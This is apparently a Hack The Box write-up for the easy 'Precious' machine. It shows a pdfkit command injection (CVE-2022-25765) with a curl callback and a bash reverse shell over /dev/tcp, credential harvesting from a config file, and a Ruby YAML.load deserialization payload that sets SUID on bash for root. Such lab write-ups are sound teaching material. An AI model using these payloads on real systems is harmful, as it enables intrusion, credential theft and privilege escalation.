Precious

Creator: Nauten

Machine URL: https://app.hackthebox.com/machines/Precious

Difficulty: Easy


Initial enumeration

# Nmap 7.93 scan initiated Tue Nov 29 17:07:14 2022 as: nmap -p- -oA nmap/nmap_initial --min-rate=4000 -vv -sC -sV 10.129.101.158
Nmap scan report for 10.129.101.158
Host is up, received reset ttl 63 (0.033s latency).
Scanned at 2022-11-29 17:07:15 CET for 21s
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE REASON         VERSION
22/tcp open  ssh     syn-ack ttl 63 OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
| ssh-hostkey: 
|   3072 845e13a8e31e20661d235550f63047d2 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDEAPxqUubE88njHItE+mjeWJXOLu5reIBmQHCYh2ETYO5zatgel+LjcYdgaa4KLFyw8CfDbRL9swlmGTaf4iUbao4jD73HV9/Vrnby7zP04OH3U/wVbAKbPJrjnva/czuuV6uNz4SVA3qk0bp6wOrxQFzCn5OvY3FTcceH1jrjrJmUKpGZJBZZO6cp0HkZWs/eQi8F7anVoMDKiiuP0VX28q/yR1AFB4vR5ej8iV/X73z3GOs3ZckQMhOiBmu1FF77c7VW1zqln480/AbvHJDULtRdZ5xrYH1nFynnPi6+VU/PIfVMpHbYu7t0mEFeI5HxMPNUvtYRRDC14jEtH6RpZxd7PhwYiBctiybZbonM5UP0lP85OuMMPcSMll65+8hzMMY2aejjHTYqgzd7M6HxcEMrJW7n7s5eCJqMoUXkL8RSBEQSmMUV8iWzHW0XkVUfYT5Ko6Xsnb+DiiLvFNUlFwO6hWz2WG8rlZ3voQ/gv8BLVCU1ziaVGerd61PODck=
|   256 a2ef7b9665ce4161c467ee4e96c7c892 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBFScv6lLa14Uczimjt1W7qyH6OvXIyJGrznL1JXzgVFdABwi/oWWxUzEvwP5OMki1SW9QKX7kKVznWgFNOp815Y=
|   256 33053dcd7ab798458239e7ae3c91a658 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIH+JGiTFGOgn/iJUoLhZeybUvKeADIlm0fHnP/oZ66Qb
80/tcp open  http    syn-ack ttl 63 nginx 1.18.0
|_http-title: Did not follow redirect to http://precious.htb/
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: nginx/1.18.0
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Tue Nov 29 17:07:36 2022 -- 1 IP address (1 host up) scanned in 21.90 seconds

Two ports are open.
We can add precious.htb to our /etc/hosts.

nginx Web server

http://precious.htb

We are greeted by a PDF converter web application.

Main Page

The tool fetches a remote page and converts it to a PDF file.

Testing the converter

Let’s test out this functionality and inspect the resulting PDF file.

First, we host a page for the converter to process.

┌──(fluff㉿kali)-[/tmp/precious]
└─$ echo a > index.html                           
┌──(fluff㉿kali)-[/tmp/precious]
└─$ sudo python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...

Then we submit our local web server on http://precious.htb:

┌──(fluff㉿kali)-[/tmp/precious]
└─$ curl -X POST --data 'url=http%3A%2F%2F10.10.14.50' http://precious.htb --output test.pdf        
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100  9629  100  9601  100    28  16675     48 --:--:-- --:--:-- --:--:-- 16717

And inspect the metadata of the resulting PDF file:

┌──(fluff㉿kali)-[/tmp/precious]
└─$ exiftool test.pdf                            
ExifTool Version Number         : 12.57
File Name                       : test.pdf
Directory                       : .
File Size                       : 9.6 kB
...
Creator                         : Generated by pdfkit v0.8.6

The PDF file was generated by pdfkit v0.8.6.
Let’s check for any known vulnerabilities.

After a quick Google search, we discover a Command Injection (https://github.com/advisories/GHSA-rhwx-hjx2-x4qr)

Command Injection in pdfkit v0.8.6

CVE-2022-25765

Info on vulnerability:

Testing code execution

Unencoded payload:

url=http://foo.bar/?name=#{'%20`curl http://10.10.14.50/hacked`'}
┌──(fluff㉿kali)-[/tmp/precious]
└─$ curl -X POST --data 'url=http%3A%2F%2Ffoo.bar%2F%3Fname%3D%23%7B%27%2520%60curl+http%3a//10.10.14.50/hacked%60%27%7D' http://precious.htb

We get a request on our web server:

10.129.182.174 - - [20/May/2023 16:25:18] code 404, message File not found
10.129.182.174 - - [20/May/2023 16:25:18] "GET /hacked HTTP/1.1" 404 -

Getting a reverse shell

Unencoded payload:

url=http://foo.bar/?name=#{'%20`bash -c \"bash -i >& /dev/tcp/10.10.14.50/443 0>&1\"`'}
┌──(fluff㉿kali)-[/tmp/precious]
└─$ curl -X POST --data 'url=http%3A%2F%2Ffoo.bar%2F%3Fname%3D%23%7B%27%2520%60bash+-c+\"bash+-i+>%26+/dev/tcp/10.10.14.50/443+0>%261\"%60%27%7D' http://precious.htb

We catch a reverse shell as ruby

ruby

After a quick enumeration, we discover credentials in ~/.bundle/config:

ruby@precious:~$ cat .bundle/config
cat .bundle/config
---
BUNDLE_HTTPS://RUBYGEMS__ORG/: "henry:Q<REDACTED>H"

These credentials are reused and we can su or SSH as henry.

henry

Grab a flag in ~/user.txt.

sudo

henry@precious:~$ sudo -l
Matching Defaults entries for henry on precious:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User henry may run the following commands on precious:
    (root) NOPASSWD: /usr/bin/ruby /opt/update_dependencies.rb

henry is allowed to run ruby /opt/update_dependencies.rb as root.

Let’s inspect /opt/update_dependencies.rb as we can read it.

/opt/update_dependencies.rb

# Compare installed dependencies with those specified in "dependencies.yml"
require "yaml"
require 'rubygems'

# TODO: update versions automatically
def update_gems()
end

def list_from_file
    YAML.load(File.read("dependencies.yml"))
end

def list_local_gems
    Gem::Specification.sort_by{ |g| [g.name.downcase, g.version] }.map{|g| [g.name, g.version.to_s]}
end

gems_file = list_from_file
gems_local = list_local_gems

gems_file.each do |file_name, file_version|
    gems_local.each do |local_name, local_version|
        if(file_name == local_name)
            if(file_version != local_version)
                puts "Installed version differs from the one specified in file: " + local_name
            else
                puts "Installed version is equals to the one specified in file: " + local_name
            end
        end
    end
end

Note that dependencies.yml are loaded from the current working directory.

...
def list_from_file
    YAML.load(File.read("dependencies.yml"))
end
...

This means that we can control this file and its contents.

We can abuse insecure deserialization in YAML.load.

Privilege Escalation to root

Info: https://swisskyrepo.github.io/PayloadsAllTheThings/Insecure%20Deserialization/Ruby/#yamlload

dependecies.yml

henry@precious:/tmp/fluff$ cat dependencies.yml 
---
- !ruby/object:Gem::Installer
    i: x
- !ruby/object:Gem::SpecFetcher
    i: y
- !ruby/object:Gem::Requirement
  requirements:
    !ruby/object:Gem::Package::TarReader
    io: &1 !ruby/object:Net::BufferedIO
      io: &1 !ruby/object:Gem::Package::TarReader::Entry
         read: 0
         header: "abc"
      debug_output: &1 !ruby/object:Net::WriteAdapter
         socket: &1 !ruby/object:Gem::RequestSet
             sets: !ruby/object:Net::WriteAdapter
                 socket: !ruby/module 'Kernel'
                 method_id: :system
             git_set: chmod +s /bin/bash
         method_id: :resolve

We will execute chmod +s /bin/bash to set a SUID bit on the bash binary.

Exploitation

henry@precious:/tmp/fluff$ sudo /usr/bin/ruby /opt/update_dependencies.rb
sh: 1: reading: not found
Traceback (most recent call last):
        33: from /opt/update_dependencies.rb:17:in `<main>'
...
henry@precious:/tmp/fluff$ ls -la /usr/bin/bash
-rwsr-sr-x 1 root root 1234376 Mar 27  2022 /usr/bin/bash
henry@precious:/tmp/fluff$ bash -p
bash-5.1# id
uid=1000(henry) gid=1000(henry) euid=0(root) egid=0(root) groups=0(root),1000(henry)

We are root!
Grab the flag at /root/root.txt. And we are done!